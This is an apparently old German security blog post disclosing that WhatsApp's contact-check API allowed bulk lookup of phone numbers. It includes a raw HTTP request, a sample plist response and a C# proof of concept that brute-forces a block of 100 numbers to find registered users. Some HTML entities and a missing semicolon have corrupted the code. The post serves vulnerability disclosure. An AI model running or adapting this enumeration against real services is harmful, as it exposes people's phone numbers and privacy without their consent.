Security

WhatsApp erlaubt Bruteforce auf Telefonnummern

Dieser Artikel ist älter als zwei Jahre und womöglich veraltet!

Eine Telefonnummer möchte man meist gerne für sich behalten, um nicht von Personen belästigt zu werden und einfach seine Ruhe zu haben. Mit der Nutzung der weitverbreiteten WhatsApp-Anwendung auf seinem Mobiltelefon macht man jedoch möglich die Rufnummern der angemeldeten Benutzer zu durchsuchen. In der App wird angezeigt welche seiner Kontakte bereits für WhatsApp registriert sind.

Dazu wird eine Anfrage mit den Telefonnummern seiner Kontakte an den WhatsApp-Server sro.whatsapp.net geschickt:

POST /client/iphone/iq.php HTTP/1.1 
Host: sro.whatsapp.net 
User-Agent: WhatsApp/2.6.7 iPhone_OS/4.3.3 Device/iPhone 
Accept: */* 
Accept-Language: de-de 
Accept-Encoding: gzip, deflate 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 710 
Connection: keep-alive 
Proxy-Connection: keep-alive 

cd=1&cc=43&me=664XXXXXXX&u[]=0699XXXXXXX&u[]=0680XXXXXXX

Im Body der POST-Anfrage an /client/iphone/iq.php werden die Telefonnummern als Array (?) in der Form des GET-Parameters u[]=XXXXXXXXXXX übermittelt. Der Parameter me muss jedoch nicht angegeben werden. Zudem darf die Anfrage auch über GET erfolgen. Auf die Anfrage antwortet der Server mit dem Status der Teilnehmer im plist-Format:

<plist version="1.0">
	<array>
		<dict>
			<key>P</key>
			<string>0043664.......</string>
			<key>T</key>
			<integer>199610</integer>
			<key>S</key>
			<string>....</string>
			<key>JID</key>
			<string>43664.......</string>
		</dict>
	</array>
</plist>

So ist es natürlich auch möglich einen Brute-Force Angriff auf Handynummern zu starten, und das funktioniert auch. Man kann zum Beispiel hundert Nummern generieren lassen, die man dann alle zusammen an den WhatsApp-Server übermittelt. Daraufhin erhält man alle Benutzer in diesem Bereich, die WhatsApp benutzen. Als ein Proof-of-Concept habe ich ein kleines Programm in C# zusammengestöpselt, das Telefonnummern aus einem bestimmten Bereich generiert und diese anschließ;end an den passenden WhatsApp-Server schickt. Anschließ;end wird der Inhalt der plist-Datei in der Konsole ausgegeben.

using System; 
using System.Collections.Generic; 
using System.Linq; 
using System.Text; 
using System.Net; 

namespace WhatsAppBrute{
	class Program{
		static void Main(string[] args){
			WebClient c = new WebClient(); 
			String start = "https://sro.whatsapp.net/client/iphone/iq.php?cd=1&amp;cc=43" 
			
			for (Int32 i = 0; i &lt; 100; i++){
				String count; 
				
				if(i < 10){
					count = "0" + i.ToString(); 
				} 
				else { 
					count = i.ToString(); 
				} 
				
				start += "&u[]=0664XXXXX" + count; 
			} 
			
			Console.WriteLine(c.DownloadString(start)); 
			Console.ReadLine(); 
		}
	} 
}

Dieser Code dient nur zu Vorführzwecken und darf nicht für einen Angriff auf die Server von WhatsApp verwendet werden!

Fazit: Es ist erschreckend wie einfach eine solche Anfrage ausgeführt werden kann und wie freizügig mit den Telefonnummern umgegangen wird. Natürlich wird nicht jeder Benutzer eine so umständliche Art benutzen (wollen), aber es ist möglich.